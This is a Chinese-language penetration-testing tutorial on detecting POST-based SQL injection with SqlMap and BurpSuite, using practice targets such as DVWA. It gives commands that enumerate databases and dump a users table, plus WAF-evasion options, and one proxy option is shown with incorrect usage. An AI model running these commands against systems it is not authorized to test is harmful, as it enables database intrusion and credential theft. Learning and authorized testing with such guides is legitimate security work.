手把手教你用SqlMap检测POST提交漏洞（附Burp联动实战案例）
手把手教你用SqlMap检测POST提交漏洞（附Burp联动实战案例）
在Web安全测试中，SQL注入始终是危害性极高的漏洞类型之一。而POST请求作为网站交互的核心方式，往往隐藏着更难以察觉的注入点。本文将深入解析如何利用SqlMap这一神器，配合BurpSuite抓包分析，系统性地检测POST请求中的SQL注入漏洞。
1. 环境准备与工具配置
工欲善其事，必先利其器。在开始实战前，我们需要确保工具链的完整性和正确配置。
基础工具清单：
- Kali Linux（推荐）或任意Linux发行版
- SqlMap 1.7+版本
- BurpSuite Community/Professional版
- 测试目标网站（建议使用DVWA等漏洞演练平台）
提示：所有测试务必在授权环境下进行，未经授权的渗透测试可能涉及法律风险。
安装SqlMap的最新开发版可执行以下命令：
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py --versionBurpSuite的配置需要特别注意代理设置：
Proxy → Options → Proxy Listeners → 确保本地8080端口监听2. BurpSuite抓包与请求保存
BurpSuite作为中间人代理，能完整捕获浏览器与服务器间的所有请求，这对POST注入检测至关重要。
详细操作流程：
- 配置浏览器代理为
127.0.0.1:8080 - 访问目标登录页面并提交表单
- 在Burp的Proxy→History中找到对应POST请求
- 右键选择"Save item"将请求保存为
.txt文件
典型的POST请求文件内容示例：
POST /login.php HTTP/1.1 Host: testphp.vulnweb.com Content-Type: application/x-www-form-urlencoded Content-Length: 28 username=test&password=1234注意：保存的请求文件必须包含完整的HTTP头信息，特别是
Content-Type和Host字段。
3. SqlMap核心参数深度解析
针对POST请求检测，SqlMap提供了多种参数组合方案，各有其适用场景。
3.1 -r参数实战技巧
-r参数直接读取Burp保存的请求文件，是最便捷的检测方式：
python sqlmap.py -r request.txt --batch --risk=3 --level=5参数优化建议：
--batch：自动选择默认选项--risk：风险等级（1-3，默认为1）--level：测试等级（1-5，等级越高检测越全面）
3.2 --data参数高级用法
当需要单独测试特定参数时，--data参数提供更灵活的检测方式：
python sqlmap.py -u "http://testphp.vulnweb.com/login.php" \ --data="username=admin&password=123" \ -p "username" \ --technique=B关键参数说明：
| 参数 | 作用 | 示例值 |
|---|---|---|
-p | 指定测试参数 | "username" |
--technique | 指定检测技术 | B（布尔盲注） |
--dbms | 指定数据库类型 | MySQL |
--os | 指定操作系统 | Linux |
3.3 高级联动技巧
结合Burp和SqlMap实现半自动化检测：
- 在Burp中右键请求 → "Send to Intruder"
- 设置注入位置后，导出为"Copy as curl command"
- 将curl命令转换为SqlMap参数：
python sqlmap.py --method=POST --data="username=*&password=*" \ --cookie="PHPSESSID=xxx" -u "http://target.com/login" \ --prefix="'" --suffix="--"4. 实战案例：DVWA漏洞检测
以Damn Vulnerable Web Application（DVWA）为例，演示完整检测流程。
步骤一：低安全级别检测
- 设置DVWA安全级别为"low"
- 提交任意用户密码触发POST请求
- 保存Burp捕获的请求为
dvwa_login.txt
执行检测命令：
python sqlmap.py -r dvwa_login.txt \ --string="First name" \ --not-string="error" \ --dbs关键参数解析：
--string：识别成功注入的特征字符串--not-string：排除错误页面特征--dbs：枚举所有数据库
步骤二：获取数据库信息
成功注入后可执行以下操作：
# 枚举当前数据库表 python sqlmap.py -r dvwa_login.txt --tables # 导出指定表数据 python sqlmap.py -r dvwa_login.txt -D dvwa -T users --dump5. 防御方案与检测规避
了解攻击手段的同时，也需要掌握如何防御和检测这类攻击。
常见WAF绕过技巧：
# 使用随机HTTP头 python sqlmap.py -r request.txt --random-agent # 使用代理池 python sqlmap.py -r request.txt --proxy="http://proxy_list.txt" # 延时注入 python sqlmap.py -r request.txt --delay=3 --timeout=15防御措施推荐：
- 使用预编译语句（Prepared Statements）
- 实施最小权限原则
- 启用Web应用防火墙（WAF）
- 定期进行安全审计
在多次实战中发现，许多现代CMS系统虽然使用了参数化查询，但在某些自定义模块中仍然存在拼接SQL的情况。特别是在用户搜索、过滤排序等功能点，需要格外注意注入可能。